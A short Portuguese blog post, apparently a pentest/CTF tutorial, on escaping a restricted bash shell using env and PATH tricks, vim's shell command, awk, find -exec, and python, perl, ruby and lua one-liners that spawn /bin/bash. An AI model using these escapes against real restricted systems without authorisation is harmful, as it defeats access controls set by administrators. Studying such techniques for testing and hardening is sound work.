SCAPING RESTRICTED SHELL ‘SECURITY SHELL’
Quando realizamos pentest deparamos com formas de bypassar para termos privilégios ao sistema, recentemente esbarrei com o security shell (shell restrito) pesquisei mais sobre como escapar e executar comandos que permite listar,executar e ler e etc, ao “bypassar” essa restrição podemos :
- ativar e desativar variáveis de ambiente como SHELL, PATH
- alterar os diretórios
- importar definições
- usar operadores para redirecionar : ‘>’, ‘>|’, ‘<>’, ‘>&’, ‘&>’, e ‘>>’
- e etc
Devemos reunir um pouco de informação, com o comando ‘env’ assim podemos entender o perfil e como está configurado.
Depois de vermos onde o diretório PATH esta apontando, vamos listar o seguinte diretório ‘ls /usr/local/bin’ para vermos quais comandos estão presentes no sistema, caso o comando ‘ls’ não esteja presente no sistema basta usar o ‘echo /usr/local/bin/ * ‘
Se precisarmos teremos que exportar ‘export’ as variáveis no shell, você pode simplesmente definir o de sua escolha como ( sh, bash, ksh, etc …).
Se você é capaz de copiar arquivos em seu PATH, então você vai ser capaz de ignorar a restrição barra. Você também pode escrever seu próprio script, basta copiar para o PATH, e executá-lo, podemos tentar copiar os arquivos para seu diretório home e executá-los de lá, se você tentar executar algo ‘./’, irá falhar pois o shell é limitado é não permite o uso de uma barra, nosso objetivo e tentar executar o seguinte binário ‘tfc’, vejamos esse processo usando o vim.
jason@knockknock:~$ vim
[esc] :set shell=/home/Jason/tfc __________ // de enter
[esc] :shell ____________________________ // de enter
[esc] :q! ________________________________// sair
awk: podemos executar ‘awk’ e dentro dele uma shell.
jason@knockknock:~$ awk ‘BEGIN {system(“/home/jason/tfc “)}’
Pode ser usado o find,tee ou outras linguagens
jason@knockknock:~$ find / -name feii -exec /bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;
jason@knockknock:~$ echo “executando” | tee script.sh
python: exit_code = os.system(‘/bin/bash ‘) output = os.popen(‘/bin/bash ‘).read()
perl -e ‘exec “/bin/bash “;’
perl: exec “/bin/bash “;
ruby: exec “/bin/bash ”
lua: os.execute(‘/bin/bash ‘)
irb(main:001:0> exec “/bin/bash ”
Pode ser criado um link simbólico
É isso ai galera ¬¬